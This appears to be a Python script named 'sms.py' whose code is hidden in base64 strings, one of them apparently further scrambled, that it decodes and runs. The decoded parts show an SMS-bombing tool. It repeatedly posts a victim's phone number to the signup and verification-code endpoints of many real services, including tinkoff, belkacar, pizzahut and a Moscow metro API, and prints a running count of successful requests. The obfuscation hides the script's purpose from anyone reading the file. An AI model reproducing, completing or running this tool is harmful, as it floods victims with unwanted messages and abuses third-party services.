kwargs['job_id'] = \
job_id
return self.reply_job_question_endpoint.call_with_http_info(**kwargs)
def restart_job(
self,
job_id,
**kwargs
):
"""Restart Job # noqa: E501
**Restart the job related to the given id.** Return **NULL upon success.** 🔒 The job must be in a restartable state, and be accessible to current user. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.restart_job(job_id, async_req=True)
>>> result = thread.get()
Args:
job_id (int): Internal, the unique numeric id of this job.
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
bool, date, datetime, dict, float, int, list, str, none_type
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['job_id'] = \
job_id
return self.restart_job_endpoint.call_with_http_info(**kwargs)
| 35.482719
| 363
| 0.488392
| 2,979
| 30,799
| 4.813696
| 0.080564
| 0.025105
| 0.025384
| 0.02636
| 0.877615
| 0.860948
| 0.8553
| 0.840795
| 0.835425
| 0.828103
| 0
| 0.003828
| 0.423163
| 30,799
| 867
| 364
| 35.523645
| 0.803107
| 0.379623
| 0
| 0.65096
| 1
| 0
| 0.218757
| 0.030372
| 0
| 0
| 0
| 0
| 0
| 1
| 0.013962
| false
| 0
| 0.010471
| 0
| 0.038394
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5fce9c5a724959f4b2097a3c0050849eeb67bed9
| 1,693
|
py
|
Python
|
room/migrations/0010_auto_20201207_1550.py
|
yakimenko73/SweetTube
|
32d3d3a92be7018a53bb35a11c9b55f27d1f1191
|
[
"MIT"
] | null | null | null |
room/migrations/0010_auto_20201207_1550.py
|
yakimenko73/SweetTube
|
32d3d3a92be7018a53bb35a11c9b55f27d1f1191
|
[
"MIT"
] | null | null | null |
room/migrations/0010_auto_20201207_1550.py
|
yakimenko73/SweetTube
|
32d3d3a92be7018a53bb35a11c9b55f27d1f1191
|
[
"MIT"
] | null | null | null |
# Generated by Django 3.1.3 on 2020-12-07 13:50
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('room', '0009_auto_20201207_1445'),
]
operations = [
migrations.AlterField(
model_name='room',
name='guest_can_seek',
field=models.BooleanField(default=True),
),
migrations.AlterField(
model_name='room',
name='guest_can_use_chat',
field=models.BooleanField(default=True),
),
migrations.AlterField(
model_name='room',
name='moder_can_add',
field=models.BooleanField(default=True),
),
migrations.AlterField(
model_name='room',
name='moder_can_move',
field=models.BooleanField(default=True),
),
migrations.AlterField(
model_name='room',
name='moder_can_playpause',
field=models.BooleanField(default=True),
),
migrations.AlterField(
model_name='room',
name='moder_can_remove',
field=models.BooleanField(default=True),
),
migrations.AlterField(
model_name='room',
name='moder_can_seek',
field=models.BooleanField(default=True),
),
migrations.AlterField(
model_name='room',
name='moder_can_skip',
field=models.BooleanField(default=True),
),
migrations.AlterField(
model_name='room',
name='moder_can_use_chat',
field=models.BooleanField(default=True),
),
]
| 28.694915
| 52
| 0.554046
| 157
| 1,693
| 5.770701
| 0.273885
| 0.198676
| 0.248344
| 0.288079
| 0.809051
| 0.809051
| 0.809051
| 0.809051
| 0.700883
| 0.700883
| 0
| 0.027531
| 0.334908
| 1,693
| 58
| 53
| 29.189655
| 0.777087
| 0.02658
| 0
| 0.692308
| 1
| 0
| 0.123329
| 0.013973
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.019231
| 0
| 0.076923
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
396caad1521db59c4ea9c2ed6a19158d18c7b845
| 7,063
|
py
|
Python
|
dendropy/test/test_dataio_newick_reader_rooting.py
|
EnjoyLifeFund/macHighSierra-py36-pkgs
|
5668b5785296b314ea1321057420bcd077dba9ea
|
[
"BSD-3-Clause",
"BSD-2-Clause",
"MIT"
] | null | null | null |
dendropy/test/test_dataio_newick_reader_rooting.py
|
EnjoyLifeFund/macHighSierra-py36-pkgs
|
5668b5785296b314ea1321057420bcd077dba9ea
|
[
"BSD-3-Clause",
"BSD-2-Clause",
"MIT"
] | null | null | null |
dendropy/test/test_dataio_newick_reader_rooting.py
|
EnjoyLifeFund/macHighSierra-py36-pkgs
|
5668b5785296b314ea1321057420bcd077dba9ea
|
[
"BSD-3-Clause",
"BSD-2-Clause",
"MIT"
] | null | null | null |
#! /usr/bin/env python
##############################################################################
## DendroPy Phylogenetic Computing Library.
##
## Copyright 2010-2015 Jeet Sukumaran and Mark T. Holder.
## All rights reserved.
##
## See "LICENSE.rst" for terms and conditions of usage.
##
## If you use this work or any portion thereof in published work,
## please cite it as:
##
## Sukumaran, J. and M. T. Holder. 2010. DendroPy: a Python library
## for phylogenetic computing. Bioinformatics 26: 1569-1571.
##
##############################################################################
"""
Tests for rooting intepretation.
"""
import unittest
import warnings
from dendropy.dataio import newickreader
class RootingInterpreterLegacySupportTestCase(unittest.TestCase):
legacy_kw = (
("as_unrooted", True, "force-unrooted"),
("as_unrooted", False, "force-rooted"),
("as_rooted", True, "force-rooted"),
("as_rooted", False, "force-unrooted"),
("default_as_unrooted", True, "default-unrooted"),
("default_as_unrooted", False, "default-rooted"),
("default_as_rooted", True, "default-rooted"),
("default_as_rooted", False, "default-unrooted"),
)
def test_multiple_keyword_error(self):
with self.assertRaises(ValueError):
nr = newickreader.NewickReader(
as_rooted=True,
as_unrooted=True)
def test_legacy_keywords(self):
for kwset in self.legacy_kw:
with warnings.catch_warnings(record=True) as w:
# Cause all warnings to always be triggered.
warnings.simplefilter("always")
# Trigger a warning.
kwargs = {kwset[0]: kwset[1]}
nr = newickreader.NewickReader(**kwargs)
self.assertEqual(nr.rooting, kwset[2])
class RootingInterpreterForceUnrootedTestCase(unittest.TestCase):
def test_with_no_token(self):
nr = newickreader.NewickReader(rooting="force-unrooted")
self.assertIs(nr._parse_tree_rooting_state(""), False)
def test_with_no_token2(self):
nr = newickreader.NewickReader(rooting="force-unrooted")
self.assertIs(nr._parse_tree_rooting_state(), False)
def test_with_rooted_token_lcase(self):
nr = newickreader.NewickReader(rooting="force-unrooted")
self.assertIs(nr._parse_tree_rooting_state("&r"), False)
def test_with_rooted_token_ucase(self):
nr = newickreader.NewickReader(rooting="force-unrooted")
self.assertIs(nr._parse_tree_rooting_state("&R"), False)
def test_with_unrooted_token_ucase(self):
nr = newickreader.NewickReader(rooting="force-unrooted")
self.assertIs(nr._parse_tree_rooting_state("&u"), False)
def test_with_unrooted_token_ucase(self):
nr = newickreader.NewickReader(rooting="force-unrooted")
self.assertIs(nr._parse_tree_rooting_state("&U"), False)
def test_with_meaningless_token_ucase(self):
nr = newickreader.NewickReader(rooting="force-unrooted")
self.assertIs(nr._parse_tree_rooting_state("zz"), False)
class RootingInterpreterForceRootedTestCase(unittest.TestCase):
def test_with_no_token(self):
nr = newickreader.NewickReader(rooting="force-rooted")
self.assertIs(nr._parse_tree_rooting_state(""), True)
def test_with_no_token2(self):
nr = newickreader.NewickReader(rooting="force-rooted")
self.assertIs(nr._parse_tree_rooting_state(), True)
def test_with_rooted_token_lcase(self):
nr = newickreader.NewickReader(rooting="force-rooted")
self.assertIs(nr._parse_tree_rooting_state("&r"), True)
def test_with_rooted_token_ucase(self):
nr = newickreader.NewickReader(rooting="force-rooted")
self.assertIs(nr._parse_tree_rooting_state("&R"), True)
def test_with_unrooted_token_ucase(self):
nr = newickreader.NewickReader(rooting="force-rooted")
self.assertIs(nr._parse_tree_rooting_state("&u"), True)
def test_with_unrooted_token_ucase(self):
nr = newickreader.NewickReader(rooting="force-rooted")
self.assertIs(nr._parse_tree_rooting_state("&U"), True)
def test_with_meaningless_token_ucase(self):
nr = newickreader.NewickReader(rooting="force-rooted")
self.assertIs(nr._parse_tree_rooting_state("zz"), True)
class RootingInterpreterDefaultUnrootedTestCase(unittest.TestCase):
def test_with_no_token(self):
nr = newickreader.NewickReader(rooting="default-unrooted")
self.assertIs(nr._parse_tree_rooting_state(""), False)
def test_with_no_token2(self):
nr = newickreader.NewickReader(rooting="default-unrooted")
self.assertIs(nr._parse_tree_rooting_state(), False)
def test_with_rooted_token_lcase(self):
nr = newickreader.NewickReader(rooting="default-unrooted")
self.assertIs(nr._parse_tree_rooting_state("&r"), True)
def test_with_rooted_token_ucase(self):
nr = newickreader.NewickReader(rooting="default-unrooted")
self.assertIs(nr._parse_tree_rooting_state("&R"), True)
def test_with_unrooted_token_ucase(self):
nr = newickreader.NewickReader(rooting="default-unrooted")
self.assertIs(nr._parse_tree_rooting_state("&u"), False)
def test_with_unrooted_token_ucase(self):
nr = newickreader.NewickReader(rooting="default-unrooted")
self.assertIs(nr._parse_tree_rooting_state("&U"), False)
def test_with_meaningless_token_ucase(self):
nr = newickreader.NewickReader(rooting="default-unrooted")
self.assertIs(nr._parse_tree_rooting_state("zz"), False)
class RootingInterpreterDefaultRootedTestCase(unittest.TestCase):
def test_with_no_token(self):
nr = newickreader.NewickReader(rooting="default-rooted")
self.assertIs(nr._parse_tree_rooting_state(""), True)
def test_with_no_token2(self):
nr = newickreader.NewickReader(rooting="default-rooted")
self.assertIs(nr._parse_tree_rooting_state(), True)
def test_with_rooted_token_lcase(self):
nr = newickreader.NewickReader(rooting="default-rooted")
self.assertIs(nr._parse_tree_rooting_state("&r"), True)
def test_with_rooted_token_ucase(self):
nr = newickreader.NewickReader(rooting="default-rooted")
self.assertIs(nr._parse_tree_rooting_state("&R"), True)
def test_with_unrooted_token_ucase(self):
nr = newickreader.NewickReader(rooting="default-rooted")
self.assertIs(nr._parse_tree_rooting_state("&u"), False)
def test_with_unrooted_token_ucase(self):
nr = newickreader.NewickReader(rooting="default-rooted")
self.assertIs(nr._parse_tree_rooting_state("&U"), False)
def test_with_meaningless_token_ucase(self):
nr = newickreader.NewickReader(rooting="default-rooted")
self.assertIs(nr._parse_tree_rooting_state("zz"), True)
if __name__ == "__main__":
unittest.main()
| 39.903955
| 78
| 0.683562
| 813
| 7,063
| 5.635916
| 0.143911
| 0.045832
| 0.170231
| 0.183326
| 0.738542
| 0.72632
| 0.72632
| 0.72632
| 0.72632
| 0.72632
| 0
| 0.005019
| 0.181934
| 7,063
| 176
| 79
| 40.130682
| 0.787989
| 0.071499
| 0
| 0.689655
| 0
| 0
| 0.105247
| 0
| 0
| 0
| 0
| 0
| 0.258621
| 1
| 0.258621
| false
| 0
| 0.025862
| 0
| 0.336207
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f2cd25b5667f0c075a6b70017f2df8e372692601
| 796
|
py
|
Python
|
1_diena/print.py
|
jk-prog-22/nodarbibas
|
6a74a40f663a610064e4f909ef5e21295092a3b3
|
[
"MIT"
] | null | null | null |
1_diena/print.py
|
jk-prog-22/nodarbibas
|
6a74a40f663a610064e4f909ef5e21295092a3b3
|
[
"MIT"
] | null | null | null |
1_diena/print.py
|
jk-prog-22/nodarbibas
|
6a74a40f663a610064e4f909ef5e21295092a3b3
|
[
"MIT"
] | null | null | null |
print("Sveika, pasaule!")
print("Šodien ir forša diena!")
print()
print("piens kefirs sviests biezpiens krejums")
print("piens kefirs","sviests","biezpiens","krejums")
print("piens kefirs","sviests","biezpiens krejums", sep = "*")
# Uzskaitījums
# TODO: Pabeigt rakstīt dzeju
'''
Šis ir garš komentārs
Pa vairākām
rindiņām
'''
print("berzs, ozols, osis, egle", end = "=====") # Šis ir komentārs
print("lacis, \t kakis,\n suns, zurka") # Vēl viens komentārs
print("Gribu ātrāk siltu laiku.")
print("Gribu ātrāk siltu laiku.")
print("Gribu ātrāk siltu laiku.")
# print("Gribu ātrāk siltu laiku.") Aizkomentē ar Ctrl + /
# print("Gribu ātrāk siltu laiku.")
# print("Gribu ātrāk siltu laiku.")
# print("Gribu ātrāk siltu laiku.")
print("Gribu ātrāk siltu laiku.")
print("Gribu ātrāk siltu laiku.")
| 29.481481
| 67
| 0.704774
| 107
| 796
| 5.242991
| 0.411215
| 0.160428
| 0.240642
| 0.320856
| 0.609626
| 0.609626
| 0.609626
| 0.609626
| 0.609626
| 0.609626
| 0
| 0
| 0.129397
| 796
| 27
| 68
| 29.481481
| 0.809524
| 0.296482
| 0
| 0.384615
| 0
| 0
| 0.651394
| 0
| 0
| 0
| 0
| 0.037037
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
f2d894ecfa9bba1e99bb1adafe7c08570d7e3036
| 4,217
|
py
|
Python
|
App/items/migrations/0001_initial.py
|
fmgar/BlackMarker-API
|
a185d61d518ad505d2fd8882f0e8cd15474786cb
|
[
"MIT"
] | null | null | null |
App/items/migrations/0001_initial.py
|
fmgar/BlackMarker-API
|
a185d61d518ad505d2fd8882f0e8cd15474786cb
|
[
"MIT"
] | null | null | null |
App/items/migrations/0001_initial.py
|
fmgar/BlackMarker-API
|
a185d61d518ad505d2fd8882f0e8cd15474786cb
|
[
"MIT"
] | null | null | null |
# Generated by Django 3.1.4 on 2021-01-07 02:11
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Category',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', models.DateTimeField(auto_now_add=True, help_text='Date time on which the object was created.', verbose_name='created at')),
('modified', models.DateTimeField(auto_now=True, help_text='Date time on which the object was last modified.', verbose_name='created at')),
('name', models.CharField(max_length=25)),
('is_active', models.BooleanField(default=True)),
],
options={
'ordering': ['-created', '-modified'],
'get_latest_by': 'created',
'abstract': False,
},
),
migrations.CreateModel(
name='Owner',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', models.DateTimeField(auto_now_add=True, help_text='Date time on which the object was created.', verbose_name='created at')),
('modified', models.DateTimeField(auto_now=True, help_text='Date time on which the object was last modified.', verbose_name='created at')),
('name', models.CharField(max_length=15, unique=True)),
('is_active', models.BooleanField(default=True)),
],
options={
'ordering': ['-created', '-modified'],
'get_latest_by': 'created',
'abstract': False,
},
),
migrations.CreateModel(
name='Unit',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', models.DateTimeField(auto_now_add=True, help_text='Date time on which the object was created.', verbose_name='created at')),
('modified', models.DateTimeField(auto_now=True, help_text='Date time on which the object was last modified.', verbose_name='created at')),
('name', models.CharField(max_length=15, unique=True)),
('is_active', models.BooleanField(default=True)),
],
options={
'ordering': ['-created', '-modified'],
'get_latest_by': 'created',
'abstract': False,
},
),
migrations.CreateModel(
name='Item',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', models.DateTimeField(auto_now_add=True, help_text='Date time on which the object was created.', verbose_name='created at')),
('modified', models.DateTimeField(auto_now=True, help_text='Date time on which the object was last modified.', verbose_name='created at')),
('name', models.CharField(max_length=100, unique=True)),
('description', models.TextField(blank=True, max_length=200)),
('type_item', models.CharField(blank=True, max_length=15)),
('price', models.DecimalField(decimal_places=2, max_digits=5)),
('is_active', models.BooleanField(default=True)),
('cetegory', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='items.category')),
('owner', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='items.owner')),
('unit', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='items.unit')),
],
options={
'ordering': ['-created', '-modified'],
'get_latest_by': 'created',
'abstract': False,
},
),
]
| 51.426829
| 155
| 0.578373
| 449
| 4,217
| 5.282851
| 0.198218
| 0.055649
| 0.077572
| 0.08769
| 0.833895
| 0.833895
| 0.818297
| 0.818297
| 0.818297
| 0.818297
| 0
| 0.010224
| 0.281005
| 4,217
| 81
| 156
| 52.061728
| 0.772098
| 0.010671
| 0
| 0.675676
| 1
| 0
| 0.210552
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.027027
| 0
| 0.081081
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
844a6e110e97d14e2a7191a98ebb313450d0d696
| 78,680
|
py
|
Python
|
sms.py
|
harmeetsinghkalra/Reborn
|
eb8434151f7f11e92c0c500dc9a29f7af3836ac6
|
[
"CC0-1.0"
] | null | null | null |
sms.py
|
harmeetsinghkalra/Reborn
|
eb8434151f7f11e92c0c500dc9a29f7af3836ac6
|
[
"CC0-1.0"
] | null | null | null |
sms.py
|
harmeetsinghkalra/Reborn
|
eb8434151f7f11e92c0c500dc9a29f7af3836ac6
|
[
"CC0-1.0"
] | null | null | null |
import base64, codecs
magic = 'aW1wb3J0IHJlcXVlc3RzLCByYW5kb20sIGRhdGV0aW1lLCBzeXMsIHRpbWUsIGFyZ3BhcnNlLG9zDQpmcm9tIGNvbG9yYW1hIGltcG9ydCBpbml0LCBGb3JlLCBCYWNrLCBTdHlsZQ0KZnJvbSB0aW1lIGltcG9ydCBzbGVlcA0KaW1wb3J0IHVybGxpYi5yZXF1ZXN0DQppbXBvcnQgYmFzZTY0DQpjb2xvcnM9WydcMDMzWzE7M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dWNjZXNzKQ0KCQlwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpDQoJZXhjZXB0Og0KCQlwcmludCgnWy1dIFJlcXVlc3RzIEZhaWxlZCEnKQ0KCXRyeTogICAgICAgIA0KICAgICAgICAgICAgICAgIHN1Y2Nlc3MgKz0gMQ0KCQ0KCWV4Y2VwdDoNCiAgICAgICAgICAgICAgICBmYWlsZWQgKz0gMQ0KIzINCgl0cnk6DQoJCXByaW50KHJlcXVlc3RzLnBvc3QoImh0dHA6Ly9tb2JpbGUtYXBpLm1ldHJvcG9saXMubW9zY293L3YxL3NlbmQtY29kZSIsIGRhdGEgPSB7J3Bob25lJzogbnVtfSkpDQoJCXByaW50KHJhbmRvbS5jaG9pY2UoY29sb3JzKSkNCgkJb3Muc3lzdGVtKCdjbGVhcicpDQoJCXByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IikNCgkJcHJpbnQoIgkJCVRhcmdldCBOdW1iZXIgICAgICAgICA6ICIsIF9waG9uZSkNCgkJcHJpbnQoIiIpCQkNCgkJcHJpbnQoIgkJCVN1Y2Nlc3NmdWwgUmVxdWVzdHMgICA6ICIsIHN1Y2Nlc3MpDQoJCXByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IikNCglleGNlcHQ6DQoJCXByaW50KCdbLV0gUmVxdWVzdHMgRmFpbGVkIScpDQoJdHJ5OiAgICAgICAgDQogICAgICAgICAgICAgICAgc3VjY2VzcyArPSAxDQoJDQoJZXhjZXB0Og0KICAgICAgICAgICAgICAgIGZhaWxlZCArPSAxDQojMw0KCXRyeToJCQ0KCQlwcmludChyZXF1ZXN0cy5wb3N0KCJodHRwOi8vYXBpLnJvemFtaXJhLWF6cy5ydS92MS9hdXRoIiwgZGF0YSA9IHsnbG9naW4nOiBudW19KSkNCgkJcHJpbnQocmFuZG9tLmNob2ljZShjb2xvcnMpKQ0KCQlvcy5zeXN0ZW0oJ2NsZWFyJykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCQlwcmludCgiCQkJVGFyZ2V0IE51bWJlciAgICAgICAgIDogIiwgX3Bob25lKQ0KCQlwcmludCgiIikJCQ0KCQlwcmludCgiCQkJU3VjY2Vzc2Z1bCBSZXF1ZXN0cyAgIDogIiwgc3VjY2VzcykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCWV4Y2VwdDoNCgkJcHJpbnQoJ1stXSBSZXF1ZXN0cyBGYWlsZWQhJykNCgl0cnk6ICAgICAgICANCiAgICAgICAgICAgICAgICBzdWNjZXNzICs9IDENCgkNCglleGNlcHQ6DQogICAgICAgICAgICAgICAgZmFpbGVkICs9IDENCiM0DQoJdHJ5Og0KCQlwcmludChyZXF1ZXN0cy5wb3N0KCJodHRwOi8vYXBwLm1haGVldi5vcmcvTE1BL3JlZ2lzdHJhdGlvbi9yZWdpc3RyYXRlX2NsaWVudD9iaXJ0aGRheT0xNC4wMi4yMDAxJnBhdHJvbnltaWM9RGQmcGhvbmU9IitudW0rIiZzdXJuY'
love = 'J1yCHMzpvMmMKt9ZFMhLJ1yCHEzVvxcQDbWPKOlnJ50XUWuozEioF5wnT9cL2HbL29fo3WmXFxAPtxWo3Zhp3ymqTIgXPqwoTIupvpcQDbWPKOlnJ50XPV9CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09CG09VvxAPtxWpUWcoaDbVtxWPIEupzqyqPOBqJ1vMKVtVPNtVPNtVPN6VPVfVS9jnT9hMFxAPtxWpUWcoaDbVvVcPDxAPtxWpUWcoaDb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QocmFuZG9tLmNob2ljZShjb2xvcnMpKQ0KCQlvcy5zeXN0ZW0oJ2NsZWFyJykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCQlwcmludCgiCQkJVGFyZ2V0IE51bWJlciAgICAgICAgIDogIiwgX3Bob25lKQ0KCQlwcmludCgiIikJCQ0KCQlwcmludCgiCQkJU3VjY2Vzc2Z1bCBSZXF1ZXN0cyAgIDogIiwgc3VjY2VzcykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCWV4Y2VwdDoNCgkJcHJpbnQoJ1stXSBSZXF1ZXN0cyBGYWlsZWQhJykNCgl0cnk6ICAgICAgICANCiAgICAgICAgICAgICAgICBzdWNjZXNzICs9IDENCgkNCglleGNlcHQ6DQogICAgICAgICAgICAgICAgZmFpbGVkICs9IDENCiMyOQ0KDQoJdHJ5Og0KCQlyZXF1ZXN0cy5wb3N0KCdodHRwczovL2JlbGthY2FyLnJ1L2dldC1jb25maXJtYXRpb24tY29kZScsIGRhdGE9eydwaG9uZSc6IF9waG9uZX0sIGhlYWRlcnM9e30pDQoJCXByaW50KHJhbmRvbS5jaG9pY2UoY29sb3JzKSkNCgkJb3Muc3lzdGVtKCdjbGVhcicpDQoJCXByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IikNCgkJcHJpbnQoIgkJCVRhcmdldCBOdW1iZXIgICAgICAgICA6ICIsIF9waG9uZSkNCgkJcHJpbnQoIiIpCQkNCgkJcHJpbnQoIgkJCVN1Y2Nlc3NmdWwgUmVxdWVzdHMgICA6ICIsIHN1Y2Nlc3MpDQoJCXByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09P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lwcmludChyYW5kb20uY2hvaWNlKGNvbG9ycykpDQoJCW9zLnN5c3RlbSgnY2xlYXInKQ0KCQlwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpDQoJCXByaW50KCIJCQlUYXJnZXQgTnVtYmVyICAgICAgICAgOiAiLCBfcGhvbmUpDQoJCXByaW50KCIiKQkJDQoJCXByaW50KCIJCQlTdWNjZXNzZnVsIFJlcXVlc3RzICAgOiAiLCBzdWNjZXNzKQ0KCQlwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpDQoJZXhjZXB0Og0KCQlwcmludCgnWy1dIFJlcXVlc3RzIEZhaWxlZCEnKQ0KCXRyeTogICAgICAgIA0KICAgICAgICAgICAgICAgIHN1Y2Nlc3MgKz0gMQ0KCQ0KCWV4Y2VwdDoNCiAgICAgICAgICAgICAgICBmYWlsZWQgKz0gMQ0KIzMyDQoNCgl0cnk6DQoJCXJlcXVlc3RzLnBvc3QoJ2h0dHBzOi8vYXBpLnRpbmtvZmYucnUvdjEvc2lnbl91cCcsIGRhdGE9eydwaG9uZSc6ICcrJytfcGhvbmV9LCBoZWFkZXJzPXt9KQ0KCQlwcmludChyYW5kb20uY2hvaWNlKGNvbG9ycykpDQoJCW9zLnN5c3RlbSgnY2xlYXInKQ0KCQlwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpDQoJCXByaW50KCIJCQlUYXJnZXQgTnVtYmVyICAgICAgICAgOiAiLCBfcGhvbmUpDQoJCXByaW50KCIiKQkJDQoJCXByaW50KCIJCQlTdWNjZXNzZnVsIFJlcXVlc3RzICAgOiAiLCBzdWNjZXNzKQ0KCQlwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09P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JykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCQlwcmludCgiCQkJVGFyZ2V0IE51bWJlciAgICAgICAgIDogIiwgX3Bob25lKQ0KCQlwcmludCgiIikJCQ0KCQlwcmludCgiCQkJU3VjY2Vzc2Z1bCBSZXF1ZXN0cyAgIDogIiwgc3VjY2VzcykNCgkJcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQ0KCWV4Y2VwdDoNCgkJcHJpbnQoJ1stXSBSZXF1ZXN0cyBGYWlsZWQhJykNCgl0cnk6ICAgICAgICANCiAgICAgICAgICAgICAgICBzdWNjZXNzICs9IDENCgkNCglleGNlcHQ6DQogICAgICAgICAgICAgICAgZmFpbGVkICs9IDENCiMzNQ0KDQoJdHJ5Og0KCQlyZXF1ZXN0cy5wb3N0KCdodHRwczovL3BpenphaHV0LnJ1L2FjY291bnQvcGFzc3dvcmQtcmVzZXQnLCBkYXRhPXsncmVzZXRfYnknOidwaG9uZScsICdhY3Rpb25faWQnOidwYXNzLXJlY292ZXJ5JywgJ3Bob25lJzogX3Bob25lUGl6emFodXQsICdfdG9rZW4nOicqJ30pDQoJCXByaW50KHJhbmRvbS5jaG9pY2UoY29sb3JzKSkNCgkJb3Muc3lzdGVtKCdjbGVhcicpDQoJCXByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IikNCgkJcHJpbnQoIgkJCVRhcmdldCBOdW1iZXIgICAgICAgICA6ICIsIF9waG9uZSkNCgkJcHJpbnQoIiIpCQkNCgkJcHJpbnQoIgkJCVN1Y2Nlc3NmdWwgUmVxdWVzdHMgICA6ICIsIHN1Y2Nlc3MpDQoJCXByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IikNCglleGNlcHQ6DQoJCXByaW50KCdbLV0gUmVxdWVzdHMgRmFpbGVkIScpDQoJdHJ5OiAgICAgICAgDQogICAgICAgICAgICAgICAgc3VjY2VzcyArPSAxDQoJDQ